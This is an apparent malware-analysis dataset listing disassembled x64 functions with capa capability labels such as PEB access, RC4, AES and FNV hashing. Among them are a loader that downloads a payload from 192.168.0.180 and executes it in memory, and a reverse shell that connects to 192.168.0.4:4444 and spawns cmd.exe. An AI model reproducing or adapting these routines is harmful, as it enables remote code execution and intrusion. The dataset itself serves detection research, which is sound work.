joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45b780
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x45b823
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rdi
test byte [rax], al
lea rdx, [rax + 0x10]
mov rsi, qword [rsp + 0x68]
mov rcx, rdi
mov rax, rdx
mov rbx, rsi
call fcn.004580c0
nop
test bl, bl
je 0x45b81d
mov qword [rsp + 0x18], rax
lea rcx, [0x0045b860]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.00469f60
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x18]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0046a080
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.0045b780
Function at 0x4651a0
Capabilities:
Access peb ldr_data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x78
mov qword [rsp + 0x30], r14
mov rax, qword [r14 + 0x30]
inc dword [rax + 0xd8]
mov byte [r14 + 0xbf], 1
mov qword [r14 + 0x10], 0xfffffffffffffade
mov rax, qword [r14 + 0x30]
mov rcx, qword [rax + 0xa0]
mov ecx, dword [rcx + 0x14]
mov dword [rax + 0x2b4], ecx
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
inc dword [rax + 0x14]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x18], rax
call fcn.00447280
mov qword [rsp + 0x20], rax
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rax, qword [rsp + 0x80]
call fcn.0043f5a0
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0x38]
mov qword [rax + 0x70], rcx
mov rdx, qword [rax + 0x40]
mov qword [rax + 0x78], rdx
mov rdx, qword [rax + 0x68]
mov qword [rax + 0x80], rdx
cmp qword [rax], rcx
ja 0x465246
nop word [rax + rax]
cmp qword [rax + 8], rcx
jae 0x465294
mov rdx, qword [rax + 0x38]
lea rbx, [0x0043ff20]
mov qword [rsp + 0x50], rbx
mov rbx, qword [rsp + 0x18]
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x50]
mov qword [rsp], rcx
call fcn.00469f60
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x30]
mov ebx, 2
mov ecx, 3
nop
call fcn.004390a0
mov rdx, qword [rsp + 0x30]
mov rsi, qword [rdx + 0x70]
cmp qword [rdx], rsi
ja 0x4652b9
cmp qword [rdx + 8], rsi
jae 0x4652fc
lea rax, [0x0043fe20]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x38]
mov qword [rsp], rax
nop dword [rax]
call fcn.00469f60
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x30]
mov rax, qword [rdx + 0x80]
test rax, rax
je 0x46530d
cmp qword [rdx], rax
ja 0x465313
cmp qword [rdx + 8], rax
jae 0x46534e
lea rax, [0x0043fd20]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x38]
mov qword [rsp], rax
call fcn.00469f60
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
lea rax, [0x004c7ab0]
mov qword [rsp], rax
call fcn.00469f60
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
lea rax, [rsp + 0x88]
mov qword [rsp + 0x28], rax
nop dword [rax]
call fcn.00447280
mov rbx, qword [rsp + 0x28]
mov rcx, rax
mov rax, qword [rsp + 0x80]
call fcn.0043f5a0
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
dec dword [rax + 0xd8]
add rsp, 0x78
pop rbp
ret
Function at 0x467420
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x467597
movzx edx, byte [rax]
test edx, edx
jne 0x467454
nop dword [rax]
test r8b, r8b
jne 0x467454
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
add rsp, 0x10
pop rbp
ret
bt edx, 7
jae 0x467467
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x467557
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
nop dword [rax]
cmp rbx, r8
jb 0x467545
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rdx
sar rdx, 0x3f
and r8, rdx
lea rdx, [rax + r8]
test rbx, rbx
jbe 0x467537
movzx esi, byte [rax + r8]
bt esi, 7
jae 0x4674bd
xor eax, eax
xor esi, esi
xor r8d, r8d
jmp 0x467500
mov eax, 1
cmp rax, rbx
ja 0x4674eb
add qword [rdi], rsi
sub rcx, rax
sub rbx, rax
mov rsi, rcx
neg rsi
sar rsi, 0x3f
and rax, rsi
add rax, rdx
mov edi, 1
add rsp, 0x10
pop rbp
ret
mov rcx, rbx
call fcn.0046c420
lea r8d, [rcx + 7]
mov rcx, r11
mov eax, r12d
nop dword [rax]
cmp rax, rbx
jae 0x46752f
movzx r9d, byte [rax + rdx]
mov r10d, r9d
and r9d, 0x7f
mov r11, rcx
mov ecx, r8d
shl r9d, cl
lea r12d, [rax + 1]
or esi, r9d
test r10b, 0x80
jne 0x4674f3
mov rcx, r11
mov eax, r12d
jmp 0x4674c2
mov rcx, rbx
call fcn.0046c360
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.0046c360
mov eax, r8d
mov rcx, rbx
call fcn.0046c420
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x46758d
movzx r10d, byte [rdx + rax]
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
inc edx
or r8d, r10d
test r11b, 0x80
jne 0x467550
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x46746d
mov eax, edx
mov rcx, rbx
call fcn.0046c360
xor eax, eax
mov rcx, rax
nop dword [rax]
call fcn.0046c360
nop
int3

Function at 0x468960
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x468a0f
push rbp
mov rbp, rsp
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0x68]
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rsi, [0x00455780]
mov qword [rsp + 0x10], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.00469f60
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
add rsp, 0x58
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0046a080
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
nop dword [rax]
jmp fcn.00468960
Function at 0x46be80
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x403ca3
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
call fcn.00409780
add rsp, 0x18
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046a080
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403c80
cmp byte [0x005b060a], 0
je 0x46be95
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x4690c0
jmp 0x403c80

Function at 0x46bea0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rcx, qword [0x005b08e8]
mov eax, dword [rax]
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005b08e0]
mul rcx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005b060a], 0
je 0x46bed5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005b0c20]
aesenc xmm0, xmmword [0x005b0c30]
aesenc xmm0, xmmword [0x005b0c40]
movq rax, xmm0
ret
jmp 0x409960

Function at 0x46bee0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rcx, qword [0x005b08e8]
mov rax, qword [rax]
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005b08e0]
mul rcx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x005b060a], 0
je 0x46bf16
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005b0c20]
aesenc xmm0, xmmword [0x005b0c30]
aesenc xmm0, xmmword [0x005b0c40]
movq rax, xmm0
ret
jmp 0x4099a0

Function at 0x46dca0
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x46dcd4
mov rcx, 0x28
jmp 0x46dcdf
shl rcx, 3
add rcx, 0x1480
mov qword [0x005b0830], rcx
pop rbp
ret
Function at 0x4850a0
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4857df
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x4850cd
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x485351
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x48537d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x004e5e20]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004a53c0]
lea rbx, [0x004e49f0]
call fcn.00464aa0
inc rax
cmp rax, r8
jge 0x4853a2
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x4853d7
lea rdi, [0x004a5440]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x4850c3
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x4853bb
jmp 0x485390
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.0046a080
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.004850a0

Function at 0x485980
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x485997
inc rax
cmp rax, 4
jge 0x4859af
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x485994
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4859c0
inc rax
cmp rax, 4
jge 0x4859ce
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4859f7
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4859db
jmp 0x4859bd

Function at 0x489460
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x48952a
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call fcn.00403200
xorps xmm15, xmm15
mov r14, qword [0x005b0830]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x48950f
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004a54c0]
xor ebx, ebx
mov rcx, rdx
call fcn.00465e40
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call fcn.00489ac0
inc rbx
cmp rcx, rbx
jae 0x4894fe
mov edi, 1
lea rsi, [0x004a54c0]
call fcn.00465f20
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x004e4b18]
lea rsi, [0x004e42d8]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046a080
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00489460
Function at 0x140001000
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbx
push rdi
sub rsp, 0x48
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov edi, 0x80000
mov ecx, 0x40
mov edx, edi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
test rax, rax
jne 0x140001037
mov eax, 1
jmp 0x1400010dd
mov qword [rsp + 0x60], rbp
lea rcx, str.CodedIntrusion
mov qword [rsp + 0x70], r12
mov ebx, 1
xor r12d, r12d
mov qword [rsp + 0x78], r14
xor r9d, r9d
mov dword [rsp + 0x30], r12d
xor r8d, r8d
mov dword [rsp + 0x20], r12d
mov edx, ebx
mov qword [rsp + 0x40], r15
mov ebp, r12d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
je 0x1400010c4
mov qword [rsp + 0x28], r12
lea rdx, str.http:__192.168.0.180_messageBox.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x1400010f1
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, 0xffffffff
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
mov r15, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001220
add rsp, 0x48
pop rdi
pop rbx
ret
mov rdx, rdi
mov qword [rsp + 0x68], rsi
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
jne 0x140001111
mov ebx, r12d
jmp 0x140001161
lea r9, [rsp + 0x30]
mov r8d, edi
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000112e
mov ebx, r12d
jmp 0x140001161
mov edi, dword [rsp + 0x30]
mov ecx, 0x40
mov edx, edi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8d, dword [rsp + 0x30]
mov rdx, rsi
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x27
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x140001194
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rsi, qword [rsp + 0x68]
test ebx, ebx
je 0x1400010c4
mov r9d, 4
mov r8d, 0x3000
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rdi
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8, rdi
xor edx, edx
mov rcx, rbp
call sub.VCRUNTIME140.dll_memset
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r9, [rsp + 0x34]
mov dword [rsp + 0x34], r12d
mov r8d, 0x10
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400010c4
call rbx
xor eax, eax
jmp 0x1400010c9
Function at 0x140001ae8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b32
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b34
xor al, al
add rsp, 0x28
ret
Function at 0x140001800
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002640
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002640
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001870
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400080a4]
mov rbx, rcx
test esi, esi
jle 0x1400019a0
mov rax, qword [0x1400080a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001945
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018a0
mov rcx, rbx
call fcn.1400022e0
mov rdi, rax
test rax, rax
je 0x1400019c2
mov rax, qword [0x1400080a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002420
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400080a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000193e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001950
add dword [0x1400080a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400080a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000193e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001800
nop dword [rax]
xor esi, esi
jmp 0x1400018c8
mov rax, qword [0x1400080a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001800
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001800
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140001fac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001fa3
test eax, eax
jne 0x140001fa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002300
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002308
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002300
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000235d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002300
add rax, 0x28
cmp rax, r9
jne 0x140002340
xor eax, eax
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002388
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000237f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002448
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400027d0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp - 9]
mov qword [rbp - 8], rax
nop
nop
lea rdx, [rbp - 9]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str.dsadsa
mov rcx, rax
call fcn.140003390
lea rax, [rbp - 0x30]
mov rdx, rax
mov ecx, 8
call fcn.140002970
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400014d8
lea rax, [rbp - 9]
mov rcx, rax
call fcn.140002e20
nop
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400040b0], rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x140002920
Capabilities:
Connect socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1400040b0]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400040a0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
nop
add rsp, 0x40
pop rbp
ret
Function at 0x140003610
Capabilities:
Create process on windows
Create process suspended
Initialize winsock library

Disassembly:
lea rcx, [0x140001440]
jmp fcn.140001410
push rbp
mov rbp, rsp
sub rsp, 0xf0
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.1400015f0
lea rax, str.192.168.0.4
mov qword [rbp - 0x10], rax
mov word [rbp - 0x82], 0x115c
lea rax, [rbp - 0x51]
mov qword [rbp - 0x18], rax
nop
nop
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0x80]
mov r8, rdx
lea rdx, [0x140005015]
mov rcx, rax
call fcn.140003390
lea rax, [rbp - 0x80]
mov rdx, rax
mov ecx, 0x529
call fcn.140002970
lea rax, [rbp - 0x80]
mov rcx, rax
call fcn.1400014d8
lea rax, [rbp - 0x51]
mov rcx, rax
call fcn.140002e20
nop
lea rax, [0x1400040e0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
lea rax, [rbp - 0xa0]
mov rcx, rax
call fcn.140003280
mov dword [rbp - 4], 0
jmp 0x1400036d3
lea rdx, [rbp - 0x82]
lea rax, [rbp - 0xa0]
mov rcx, rax
call fcn.1400031b0
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0
jle 0x1400036b9
call fcn.1400027d0
mov word [0x1400040a0], 2
movzx eax, word [rbp - 0x82]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400040a2], ax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400040a4], eax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001498
lea rax, [0x140004080]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001490
movzx eax, word [rbp - 0x82]
cwde
mov ecx, eax
call fcn.1400028b0
mov r8d, 0x68
mov edx, 0
lea rax, [0x140004280]
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call fcn.140001498
mov dword [0x140004280], 0x68
mov dword [0x1400042bc], 1
mov rax, qword [0x1400040b0]
mov qword [0x1400042e0], rax
mov rax, qword [0x1400042e0]
mov qword [0x1400042d8], rax
mov rax, qword [0x1400042d8]
mov qword [0x1400042d0], rax
lea rax, [rbp - 0x21]
mov qword [rbp - 0x20], rax
nop
nop
lea rdx, [rbp - 0x21]
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str.dsadsa
mov rcx, rax
call fcn.140003390
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 9
call fcn.140002970
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400014d8
lea rax, [rbp - 0x21]
mov rcx, rax
call fcn.140002e20
nop
lea rax, [0x1400040c0]
mov qword [rsp + 0x48], rax
lea rax, [0x140004280]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov ecx, 0
call sub.msvcrt.dll_exit
nop
nop
nop
nop
nop
jmp 0x140001430